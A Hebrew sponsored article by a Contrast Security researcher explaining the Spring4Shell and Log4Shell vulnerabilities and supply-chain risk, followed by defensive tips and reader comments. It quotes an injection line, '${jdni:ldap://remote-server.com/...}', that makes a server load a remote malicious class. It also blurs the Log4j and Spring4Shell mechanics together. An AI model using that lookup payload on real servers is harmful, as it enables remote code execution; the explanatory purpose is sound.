מתקפת שרשרת האספקה הבאה כבר בדרך: Spring4Shell ו-Log4Shell היו רק ההתחלה

בחודשים האחרונים היינו עדים למתקפות בעלות השפעה על רוב יישומי Java הארגוניים ברחבי העולם, אבל הן היו רק הסנונית של גל התקפות חדש

Spring Core נמצאת בשימוש על ידי כמעט שלושה מכל ארבעה יישומי Java (צילום: Dreamstime)

מאת טל מלמד, דירקטור בכיר למחקר בקונטרסט סקיוריטי

רק לפני כמה חודשים היינו עדים לאחת מחולשות האבטחה הגדולות והמשמעותיות ביותר בשנים האחרונות, ה-Log4j, והנה צצה לה מכה חדשה: בסוף מרץ האחרון התגלתה חולשת Spring4Shell, שעלולה להשפיע על מרבית יישומי ה-Java הארגוניים בכל רחבי העולם.

מחקר שבדק את החולשה גילה כי מקורה בפגיעות ב-Framework קוד פתוח בעלת שימוש נרחב, שנקראת Spring Core, והיא הבסיס לרוב היישומים הארגוניים שנכתבו בשפת התכנות Java. היא מספקת את ה"צנרת" של יישומים ארגוניים, כך שהמפתחים יכולים להתמקד בפיתוח הלוגיקה העסקית ברמת האפליקציה ולא בהקמת ופריסה לסביבות השונות.

שתי החולשות האלו הן חלק ממסגרת שלמה של התקפות הקשורות לשרשראות אספקה של קוד. בהתקפה מסוג שרשרת אספקה התוקף מנסה להגיע לאפליקציות ארגוניות על ידי ניצול קוד פגיע (בין אם הוכנס בכוונה תחילה ובין אם התברר כטעות בפיתוח) בספריות קוד פתוח שנמצאות בשימוש נרחב על ידי מפתחים. ספריות מסוג זה מוטמעות במאות אלפי אפליקציות ברחבי העולם.

התקפות מסוג זה נעשות יותר ויותר פופולריות בקרב קהילת ההאקרים, שכן הן לא מצריכות מהתוקפים להגיע ישירות לאפליקציות הארגוניות, אלא מאפשרת להם גישה בדרך עקיפה. זאת על ידי קוד שהוכנס לאפליקציה בדרך משנית (על ידי ספק צד ג' או קהילת קוד פתוח לדוגמה), ובמקרים רבים אף ללא ביקורת תקינה, כגון בקרת קוד (Code Review). זאת מכיוון שהקוד הפגיע לא נכתב בפועל בתוך הארגון עצמו.

כיוון שקהילת הקוד הפתוח גדלה כל הזמן, ושימוש בספריות קוד פתוח נעשה יותר ויותר פופולרי בקרב ארגונים, אנחנו צופים כי התקפות אלו רק ילכו ויתרבו. לכן עלינו להיערך למצב חדש, שבו כמפתחים איננו יכולים לסמוך בעיניים עצומות על קוד פתוח שמוכנס לאפליקציה כפי שעשינו עד כה – אפילו אם הוא מאוד שכיח ומוכר. עלינו לייצר תהליך מסודר של בקרת איכות ואבטחה לכל קוד שמוכנס לאפליקציה בעת "ייבוא" ספריות חדשות ובעת שדרוג גרסאות.

מה זה Spring4Shell ואיך זה קרה?

הנתונים האחרונים שלנו מראים כי Spring Core נמצאת בשימוש על ידי כמעט שלושה מכל ארבעה יישומי Java. גם הפעם מדובר בניצול של חולשה מסוג Software Dependency, והיא אומנם התגלתה לאחרונה – אבל מתברר שהיא קיימת כבר משנת 2017. כ-58% מאפליקציות Java שמנוטרות ונבדקות על ידינו מכילות גרסה פגיעה של Log4j.

הנה אילוסטרציה של המתקפה: המפתח מכניס בשוגג באג אבטחה לספריית ה-Spring, שמיובאת על ידי אפליקציות Java בארגונים שונים. התוקף מנצל את באג האבטחה כדי לחדור למערכות של הארגונים.

ביום רביעי, 30 במרץ, צוות Contrast Security Labs אישר את הפגיעות על ידי שימוש בהוכחה בקוד פתוח של Spring4Shell, שעשוי להיות המקור לביצוע קוד מרחוק (RCE).

Spring מתרגם את הגוף והפרמטרים של בקשת HTTP והופך אותם לאובייקט לשימוש המפתחים, מה שמקל על חייהם. בתהליך של בניית גרף אובייקטים לטובת המפתח, Spring דואג שלא לתת לתוקפים לשלוט באף חלק של ה-Class ,ProtectionDomain ו-ClassLoader של המופע שנוצר. למרבה הצער, שינויים באובייקט ה-Class ב-Java 9 הביאו לכך שהבדיקות שביצע Spring כבר לא מספיקות.

הנה הקוד המדובר:

PropertyDescriptor[] pds = this.beanInfo.getPropertyDescriptors();
			for (PropertyDescriptor pd : pds) {
				if (Class.class == beanClass &&
						("classLoader".equals(pd.getName()) ||  "protectionDomain".equals(pd.getName()))) {
					// Ignore Class.getClassLoader() and getProtectionDomain() methods - nobody needs to bind to those
					continue;
				}

קוד זה מנסה להגביל את הגישה לעקיפת הנתיבים של גרפי אובייקטים שנוצרו. עם זאת, בקוד המעודכן תוקפים יכולים כעת לקחת את הנתיב הזה לכיוון קצת שונה.

אמנם לא ניתן היה לחזות את בעיית האבטחה שנוצרה בעת שנכתב הקוד, אך אפשר לקיים ויכוח נמרץ לגבי חוסנו של סגנון הבדיקה. לדוגמה, כאשר המחרוזת מעוצבת עם "${שם מחלקה של Java}", Java תטפל בה כמידע שיש לתרגם למחרוזת אחרת על ידי ביצוע החלפת המחרוזת "${…}" עם תוצאת ההערכה. שיטת החיפוש אחר מחלקת Java הנכונה לפי שמה נקראת lookup.

על ידי הקלט הבא, Java תאחזר את שם המשתמש של השרת כחלק מהרישום שלנו:

logging.info(“username: ${env:USER}”)

רשומת הלוג שתיווצר היא:

INFO – username: root

בפועל, הקוד בתוך מחלקת Java מבוצע, ורק אז הנתונים נכתבים.

כדי להבין את הפגיעות, עלינו להבין תכונה המשמשת את מערכת הרישום בשם JNDI, וכיצד היא משמשת את log4j.יJNDI הוא שירות ספריות ושמות המספק את היכולת לחפש ולגשת ל-Classes בשפה, על ידי שימוש במגוון שירותי שמות ושירותי ספריות (SPI). בעת שימוש בתכונה בהליך הרישום שלנו, אנחנו יכולים לאחזר מחלקות Java משרת LDAP מרוחק. לדוגמה:

logging.info(${jdni:ldap://remote-server.com/path/to/class}”)

כיוון שישנם מקרים שבהם חלק מהמידע שנרשם על ידי התוכנית שלנו הוא שימוש בנתונים הנשלטים על ידי המשתמש, במקרים של אי וידוא של קלט המשתמש ניתן לגרום לשרת שלנו להתחבר לכל שרת LDAP באינטרנט ולאחזר קובץ זדוני שירוץ על השרת.

ובחזרה לענייננו: פחות מיממה לאחר פרסום החולשה, צוות המחקר שלנו הצליח להדגים את החולשה:

צוות ה-Cloud Native שלנו, שכולל חוקרי אבטחה ומפתחים, הצליח להוכיח את הפגיעות הזו גם בסביבות ענן, וספציפית ב-AWS Lambda Function. הפגיעות הזו מאפשרת לתוקפים לנצל חולשה דומה להשתלטות מרוחקת על הלמבדה וממנה לכלל המערכת. בהמשך פיתח הצוות יכולת זיהוי וגילוי של החולשה הזו שתאפשר למפתחים לזהות את החולשה כבר בסביבת הפיתוח.

כך תגנו על הארגון שלכם

כיצד ניתן להתגונן מפני מתקפות אלה? הנה כמה טיפים חשובים:

  • תעדו את כל ספקי התוכנה שלכם, כולל זיהוי ותיעוד של כל ספקי התוכנה והספקים שיש להם גישה לרשתות ולמערכות שלכם.
  • בצעו בקרה של כל קוד או יישום אינטרנט של ספק תוכנה.
  • השתמשו בכלים אוטומטיים כדי לבצע סריקות וניטור ולזהות בעיות קוד, פריצות, חריגות התנהגות ואיומים לא ידועים. בשוק קיימים גם כלים חינמיים.
  • הגדירו סיכון עבור כל ספק תוכנה על סמך תלות ונקודות כשל.
  • עדכנו גרסאות ותקנו פרצות תוכנה שנמצאו בספריות בהן נעשה שימוש.
  • הכינו תוכנית תגובה לאירועים (Incident Response) עבור התקפות שרשרת האספקה.

הכתבה בחסות Contrast Security

להורדה של כלי ה-CodeSec החינמי החדש של קונטרסט, המסייע למפתחים לכתוב קוד מאובטח יותר ללא רעשים מיותרים ובצורה פשוטה ויעילה, הקליקו כאן

חברת קונטרסט סקיוריטי (Security Contrast) מספקת את פלטפורמת אבטחת היישומים החדשנית והמקיפה ביותר
בתעשייה כיום, תוך הסרה של מחסומי אבטחה והעצמת היכולת של ארגונים לכתוב ולשחרר קוד מאובטח מהר יותר.
באמצעות שימוש בקוד מוטמע (Code instrumentation) , הפלטפורמה של קונטרסט מזהה אוטומטית חולשות
ונקודות תורפה כבר בשלבי כתיבת הקוד, מבטלת התראות שווא ומספקת הנחיה מוכוונת-הקשר לתיקון קל ומהיר
של הפגיעויות שנמצאו. פעולה זו מאפשרת לצוותי היישום והפיתוח לשתף פעולה ביעילות רבה יותר, תוך האצת
פעילויות של טרנספורמציה דיגיטלית. זו הסיבה לכך שיותר ויותר ארגונים מובילים מהמגזר הפרטי והציבורי
הגדולים ביותר בעולם סומכים על קונטרסט בנוגע להרחבת ההגנה בייצור ולאבטחת היישומים שלהם שנמצאים
בתהליכי הפיתוח. קונטרסט סקיוריטי רכשה בסוף שנת 2020 את חברת Cloudessence אשר פיתחה פתרון בדיקות
אבטחה בסביבת ענן ובעקבות רכישה זו החל לפעול בישראל מרכז פיתוח. החברה הקימה לאחרונה גם פעילות מכירות בישראל ואף סגרה מספר עסקאות אסטרטגיות בארץ.

כתב אורח

אנחנו מארחים מפעם לפעם כותבים טכנולוגים אורחים, המפרסמים כתבות בתחומי התמחות שלהם. במידה ואתם מעוניינים לפרסם פוסט בשמכם, פנו אלינו באמצעות טופס יצירת קשר באתר.

הגב

2 תגובות על "מתקפת שרשרת האספקה הבאה כבר בדרך: Spring4Shell ו-Log4Shell היו רק ההתחלה"

avatar
Photo and Image Files
 
 
 
Audio and Video Files
 
 
 
Other File Types
 
 
 

* היי, אנחנו אוהבים תגובות!
תיקונים, תגובות קוטלות וכמובן תגובות מפרגנות - בכיף.
חופש הביטוי הוא ערך עליון, אבל לא נוכל להשלים עם תגובות שכוללות הסתה, הוצאת דיבה, תגובות שכוללות מידע המפר את תנאי השימוש של Geektime, תגובות שחורגות מהטעם הטוב ותגובות שהן בניגוד לדין. תגובות כאלו יימחקו מייד.

סידור לפי:   חדש | ישן | הכי מדורגים
רותם
Guest

אשמח לפירוט קונקרטי איך אפשר לבצע בקרה על קוד של ספק תוכנה חיצוני בתור איש IT שלא מבין בתכנון מעבר לסקריפטים

פסיכולוג בשקל-90
Guest
פסיכולוג בשקל-90

אתה צריך לפנות לאיש אבטחת המידע של הארגון שבו אתה עובד (אם אין לכם כזה, מומלץ לפנות לחברות שמתמכות במתן שרותי תמיכה לאבטחת מידע)
בד"כ יש כלים אוטומטיים שמאפשרים ניתור של רכיבים כאלו. מבצעים סריקה יזומה/מתוזמנת כל פרק זמן, מקבלים דוח ופועלים ע"פ הממצאים.
מומלץ ביותר. אם מדובר על חברה/משרד קטנ/ה אפשרי לעבוד עם חברה אחת.
אם מדובר על חברה בינונית ומעלה מומלץ להשתמש ביותר ממוצר אחד לצורך ייתרות של אמצעי הבדיקה וקבלת סקר מקיף יותר.

wpDiscuz

תגיות לכתבה: